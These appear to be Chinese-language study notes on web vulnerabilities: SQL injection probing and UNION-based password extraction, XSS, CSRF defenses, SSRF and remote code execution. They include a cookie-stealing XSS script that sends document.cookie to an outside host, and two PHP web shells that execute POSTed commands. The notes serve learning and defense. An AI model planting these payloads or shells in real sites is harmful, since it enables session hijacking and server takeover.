SQL注入
如何发现SQL注入?
eg:
select * from table order by 5; ->无结果
select * from table order by 4; ->有结果
可知数据库表一共有五列
UNION SELECT
用法如:www.study.com/?id=1 UNION SELECT 1,2,3,PASSWORD FROM USERS
盲注
举例:
真返回1 假返回2
XSS攻击
跨站脚本攻击(cross site scripting) 不和层叠样式表CSS混淆,改为XSS
攻击者往web页面中插入恶意script代码,用户浏览网站时嵌入其中的script代码会自动执行,实现恶意攻击
session&cookie
x
XSS实例
<script>
var cook=document.cookie;
var img = '<img src = http://www.study.com/get.php?cook='+cook+'>';
document.write(img);
</script>
DOM XSS
基于文档类型(DOM)造成的XSS攻击
y由于文档的输入、输出点没有做过滤,可以插入js代码在客户端执行
常见可控对象:
- document.location
- ducument.URL
- window.location
eg:XSS蠕虫
利用Ajax技术构造异步请求页面,处理响应而不阻塞用户
比如在搜索框输入aa自动联想搜索条目,都是Ajax请求,页面并没有刷新,联想都是动态改变的
如何防御XSS
过滤<>,#&,javascript等
如何防御CSRF(跨站请求伪造)
1、验证码
2、验证referer/token
3、设置跨域权限
SSRF
server-side request forgery
某些应用需要调用其他服务器上的资源,需要传入一个目标地址供服务器去请求,假设这个目标地址被攻击者控制,就可以访问促使服务器访问内网的其他服务。
远程文件读取
shell.php
<?php
$s = $_POST['url'];
$s = file_get_contents($s);
$s($_POST['cmd']);
ec.php
<?php
eval($_POST['cmd']);
?>
远程代码执行
客户端向服务器发送恶意请求,该请求内容中有服务器端可执行的代码,服务器端接受请求后未对来源数据做出过滤、拦截操作,从而造成代码执行漏洞